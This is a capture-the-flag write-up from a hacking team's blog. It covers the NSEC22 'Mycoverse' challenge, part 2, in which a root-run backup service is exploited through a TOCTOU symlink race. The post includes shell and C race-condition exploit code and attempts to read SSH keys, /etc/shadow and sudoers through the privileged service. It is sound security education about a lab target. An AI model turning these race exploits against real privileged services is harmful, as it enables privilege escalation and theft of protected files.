Hubert Hackin''
  • All posts
  • About
  • Our CTF

NSEC22 Mycoverse 2 - Fri, May 27, 2022 - Jean Privat Hellnia Klammydia Marcan

Mycoverse Portal. Part II: backup | Web | Nsec22

The first flag is in part 1

Always be able to backup and say, at least I didn’t lead no humdrum life

Thanks to the RCE, we have access to the server, as the www-data user. We need to explore some more.

There is a backup system running, we can access its code and especially its configuration file /app/backupsvc/appsettings.json that contains a lot of information.

{
    "CryptographyOptions": {
        "keyfile": "/etc/backup/backup.key"
    },
    "BackupOptions": {
        "Denied": [
            "/var/backups",
            "/etc/passwd",
            "/etc/shadow",
            "/etc/backup/backup.key"
        ],
        "Encrypted": [
            "/etc/backup/flag.txt"
        ]
    },
    "NetworkOptions": {
        "port": 3388,
        "proto": "tcp",
        "concurrent": 1,
        "listen": "::1"
    },
    "Logging": {
        "LogLevel": {
            "Mycoverse": "Debug",
            "Default": "Debug",
            "Microsoft": "Warning",
            "Microsoft.Hosting.Lifetime": "Information"
        }
    }
}
  • So the service control interface runs on a socket on the port 3388.
  • Some interesting files lives in /etc/backup
  • Cryptography may be involved in this part of the challenge. But we expect that we can circumvent it instead of breaking it.

So, here is the /etc/backup directory.

-rw-------  1 backup backup   32 Apr 29 21:49 backup.key
-rw-------  1 backup backup   45 Apr 29 21:49 flag.txt

Let’s try the service (our commands with >, the answers with <):

> backup /etc/flag.txt
< Wrote /var/backups/flag.txt
> backup /etc/backup.key
< Backup not allowed
> backup /etc/issue
< Wrote /var/backups/issue
> bye
< :(

It says that files written in /var/backups/. We can confirm it.

$ ls /var/backups/
flag.txt issue

Thanks backup service! Except that some files are denied (like the key) and some file are encrypted (like the flag), thus are not understandable, at least without the key or without breaking the crypto.

Don’t ever let anybody tell you they’re better than you

The backup service runs with the root privilege and can access protected files, but the result to the backups in /var/backups/ are world readable, this is an obvious flaw!

So we can use backup to access things that a simple www-data user can only dream of (except the denied files according to the backup options) and eventually escalate some privileges and be better than us.

  • /root/.ssh/id_rsa: does not exist
  • /home/ubuntu/.ssh/id_rsa: neither
  • /etc/sudoers: only standard content
  • /etc/shadow: denied
  • err… what else? some things in /proc? How useful could be these pseudo-files?
  • … seriously? We had so few ideas?

I don’t know if we each have a regular file, or if we’re all just symlinks floating around accidental, like on a breeze. But I think maybe it’s both. Maybe both are happening at (almost) the same time.

…long title but worth it

Let’s come back from our /rêves de grandeur/ and try to get /etc/backup/flag.txt the Right Way™. So we decompiled the C# code of the backup service to find a flaw in the application, it could be cryptographic or anything else.

The Backup method of the Mycoverse.Services.Backup.BackupService class was where the magic was happening.

    private string Backup(string path)
    {
        if (string.IsNullOrWhiteSpace(path))
        {
            return "Invalid path";
        }
        FileInfo fi = new FileInfo(path);
        if (Directory.Exists(fi.FullName))
        {
            return "Directory backup not supported";
        }
        if (fi.LinkTarget != null)
        {
            return Backup(fi.LinkTarget);
        }
        if (!fi.Exists)
        {
            return "File does not exist";
        }
        if (_config.IsDenied(fi))
        {
            return "Backup not allowed";
        }
        FileInfo outfile = new FileInfo(Path.Combine(_config.BackupDir, fi.Name));
        string action = (outfile.Exists ? "Overwrote" : "Wrote");
        FileStream src = fi.OpenRead();
        if (outfile.Exists)
        {
            outfile.Delete();
        }
        FileStream dst = outfile.OpenWrite();
        if (_config.ShouldEncrypt(fi))
        {
            _cipher.Encrypt(src, dst);
        }
        else
        {
            src.CopyTo(dst);
        }
        return action + " " + outfile.FullName;
    }

So it calls FileInfo on the source (so the stat system call) and does some sanity and policy checks:

  • Cannot backup directories. :(
  • Cannot backup symlinks. If it is a symlink, then recursively backup the linked file. Note that this is a tail call recursion, so a virtual machine or a just-in-time compiler that worth its salt should optimize it and should not grow the stack indefinitely. ;)
  • Cannot backup inexistent files. (duh!)
  • Cannot backup denied file. (makes sense)

After all these checks it calls FileInfo on the target (so one other stat call). But it is only used to change the message and to delete the target if any. That is strange, because the OpenWrite should just overwrite, no need to delete. All this seems to be clearly a quite useless loss of time!

Basically, we have a schoolbook case of /time-of-check to time-of-use/ (TOCTOU):

  • 1 Check that the file is not a symlink
  • 2 (optional, but always welcome) Lose some time because why not? (and ease the exploitation)
  • 3 Open the file and read the content

Where, unfortunately, between 1 and 3, the file behind the path could have been replaced by a symlink to a file one really wanted to retrieve. It is a race condition where the attacker /just/ has to backup the file then switch the file exactly at the appropriate time.

Obviously, it is unlikely to have it right the first time, nor even at the 100th time, but it is a 48h CTF, the gods of odds should be on our side.

Run, Forrest! Run!

For this race we need two runners, a first one that switches the files and a second one that calls the backup service. We also need some stop condition to avoid overwriting the flag once it is backuped (not a word).

The fist runner

cd /tmp/toto
while true; do
  echo -n > x
  mv x target
  ln -f /etc/backup/flag.txt target
done

Where, at any moment, the target file is either an empty file, or a symlink to the flag. Note that the target always exists because on POSIX systems, mv (the rename syscall) is atomic.

The second runner

while test ! -s /var/backups/target; do
  echo -e 'backup /tmp/toto/target\nbye\n' | nc localhost 3388
done

It repeatedly invokes the backup service on /tmp/toto/target (that is swapping) and quit. It stops when the backuped file is not empty.

Let’s discuss the various scenarios

target is a symlink when FileInfo is executed, then the LinkTarget (aka /etc/backup/flag.txt) is successfully backuped: /var/backups/flag.txt is created but encrypted :(

target is a regular empty file when FileInfo is executed and target is still a regular empty file when OpenRead is executed, then /var/backups/target is created as an empty file. This is a successful backup! But useless for us :(

target is a regular empty file when FileInfo is executed but target is a symlink when OpenRead is executed. OpenRead does not do politics, just a plain open("/tmp/toto/target") system call. Since this file is now a symlink, the operating system, under the hood, opens the /etc/backup/flag.txt file and will then read the precious bytes from it: F, L, A, etc. Note that _config.ShouldEncrypt(fi) returns true because the name of the file is still /tmp/toto/target and according to the configuration file of the backup service is fair play to backup as plain and readable data.

3 various scenarios does not mean that 33% of chance to win, and unfortunately, after some (how many?) hours, it seemed that the gods of odds were not on our side :(

Miracles happen every half an hour. Some people don’t think so, but they do

Not fast enough! Need more speed! Gods of odds like the C language! Let’s rewrite the programs in C!

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(int argc, char **argv) {
	while(1) {
		symlink(argv[1], "tmp");
		rename("tmp", argv[2]);
		int i = creat("tmp", 0666);
		close(i);
		rename("tmp", argv[2]);
	}
}

and

#include <sys/socket.h>
#include <netinet/in.h>
#include<stdlib.h>
#include<stdio.h>
#include<unistd.h>
#include <arpa/inet.h>
#include <err.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>

char buf[4096];
int main(int argc, char **argv) {
	if(argc!=4) {
		printf("usage: bk port contenu fichier_de_garde\n");
		return 1;
	}
	int r;
	for (;;) {
		struct stat statbuf;
		r = stat(argv[3], &statbuf);
		if (r!=0 && errno!=ENOENT) err(EXIT_FAILURE, NULL);
		if (statbuf.st_size > 0) {
			printf("Garde: %s existe de taille %zd\n", argv[3], statbuf.st_size);
			return 0;
		}

		int fd = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
		struct sockaddr_in6 addr;
		memset(&addr, 0, sizeof(addr));
		addr.sin6_family = AF_INET6;
		addr.sin6_port = htons(atoi(argv[1]));
		inet_pton(AF_INET6, "::1", &addr.sin6_addr);
		r = connect(fd, (struct sockaddr*)&addr, sizeof(addr));
		if (r!=0) err(EXIT_FAILURE, NULL);
		printf("connected\n"); fflush(stdout);
		size_t l = write(fd, argv[2], strlen(argv[2]));
		printf("sent %zd\n", l); fflush(stdout);
		shutdown(fd, SHUT_WR);

		for(;;) {
			size_t l = read(fd, buf, sizeof(buf));
			if (l == -1) err(EXIT_FAILURE, NULL);
			if (l == 0) break;
			fwrite(buf, l, 1, stdout); fflush(stdout);
		}
		close(fd);
	}
}

30 minutes later we had the flag!

After talking with the challenge designer, the Right Way™ was to backup indefinitely until it got too big, it would have crashed and got us a memory dump. We would have needed to do some forensics, retrieve a way to decrypt the flag… Better using a TOCTOU, no?

The other flags are not in part 3 (tba)

Back to Home


Hackez la Rue! | © Hubert Hackin'' | 2024-07-16 | theme hugo.386